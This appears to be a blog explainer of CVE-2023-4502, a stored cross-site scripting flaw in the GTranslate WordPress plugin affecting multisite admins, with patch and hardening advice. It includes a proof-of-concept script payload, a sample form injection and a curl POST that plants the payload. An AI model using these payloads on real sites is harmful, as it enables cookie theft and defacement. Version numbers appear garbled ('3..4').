---

WordPress is the engine behind millions of websites, with plugins adding tons of features. But with popularity comes risk, and sometimes, even powerful plugins can have serious flaws. One such case is CVE-2023-4502, a vulnerability found in the “Translate WordPress with GTranslate” plugin (before version 3..4). In this long-read, I'll explain what the bug is, how it can be exploited, show you a code snippet, and link to the original resources. If you run WordPress, especially with multisite setups, keep reading!

What is “Translate WordPress with GTranslate”?

GTranslate is a widely-used plugin that makes sites multilingual by connecting to Google Translate. It's popular because it’s easy to use and supports tons of languages. At the time of writing, it has over 400,000 active installations—a big target for attackers.

CVE-2023-4502 in a Nutshell

Found in: translate-wordpress-gtranslate
Up to: Version 3..3
Fixed in: Version 3..4
CVSS Score: 6.4 (Medium)
Type: Stored Cross-Site Scripting (XSS)
Impact: Can lead to code execution in browser context, credential stealing, site defacement, phishing setups, session hijacking.

But here's the twist:
The plugin failed to sanitize and escape some of its settings. This gap allowed high-privileged users (like admins) to store malicious scripts. Most worrying is that this worked even when the high-privilege user’s unfiltered_html capability was disabled—which happens in WordPress Multisite for extra safety. That means admins who usually can't post raw HTML could still inject harmful JavaScript.

How Does This Happen? Explaining the Bug

WordPress protects its users with the unfiltered_html capability. By default, only super admins in a multisite setup can use it. Regular admins can't add scripts—even if they're administrators of their own site. But if a plugin ignores these rules when saving its settings, it opens the door for XSS attacks.

GTranslate had certain options—like widget_text, custom_css, and maybe more—that took input and saved it without cleaning it up (sanitization) or making sure scripts couldn't run (escaping).

A Regular Admin (with no unfiltered_html) could inject JavaScript payloads right into these settings—something which WordPress core tries hard to prevent.

Simple Exploit Scenario

Let’s say you’re a compromised admin or your credentials leak. Or maybe you’re a malicious plugin or theme with admin access, trying to backdoor a site. XSS gives you a low-effort path.

Example attack

1. Go to the GTranslate settings page (/wp-admin/options-general.php?page=gtranslate_settings).
2. Paste <script>alert('GTranslate XSS!')</script> into a vulnerable setting (e.g. widget title or custom CSS).

Save settings.

4. Next time anyone loads a page or visits the settings panel where this field is displayed—bam! The alert pops up (or worse: their cookies get stolen).

Here’s what the raw exploitation might look like in practice

<!-- Injecting into GTranslate widget title -->
<input type="text" name="widget_title" value="<script>alert('GTranslate XSS!')</script>">

<!-- When the plugin outputs this value, it fails to escape it... -->
<h3>
  <script>alert('GTranslate XSS!')</script>
</h3>

And a cURL example, if you want to automate a POST exploit (replace URL and cookies with your real data):

curl -b cookies.txt -X POST \
  -d "widget_title=<script>alert('GTranslate XSS!')</script>" \
  https://yoursite.com/wp-admin/options-general.php?page=gtranslate_settings

Note: Don’t do this on live sites! Only on local or test installs you control.

Why is This Vulnerable in Multisite?

In a multisite WordPress network, secondary site admins are not supposed to add arbitrary scripts. But if a plugin forgets to enforce this and directly outputs input, all that effort is wasted.

Stored XSS is worse than Reflected XSS because the payload is saved in the database. Every user who loads the affected page gets hit.

Patch and Vendor Response

Fixed in version 3..4!
The developers patched the bug with better sanitization. All user inputs are now properly escaped or stripped of scripts.

Full GTranslate changelog is here

> 3..4
> - Security fix for settings sanitization/escaping
> - General improvements

If you run WordPress Multisite, double-check for other plugins that have not patched similar issues.

- Consider extra hardening with a Web Application Firewall (WAF) like Cloudflare or Wordfence.

References and Further Reading

- CVE-2023-4502 NVD entry
- Wordfence Advisory
- GTranslate Changelog
- WPScan Report
- How WordPress Handles Multisite HTML filtering
- Sanitizing, Escaping, and WordPress Security

Final Thoughts

Stored XSS like CVE-2023-4502 are why plugin developers must pay attention to even the smallest settings field. For site owners, the lesson is simple: never skip WordPress or plugin updates. Security isn’t just about firewalls and strong passwords; it’s also about letting developers fix their mistakes as fast as possible.

Timeline

Published on: 09/25/2023 16:15:15 UTC
Last modified on: 11/07/2023 04:22:40 UTC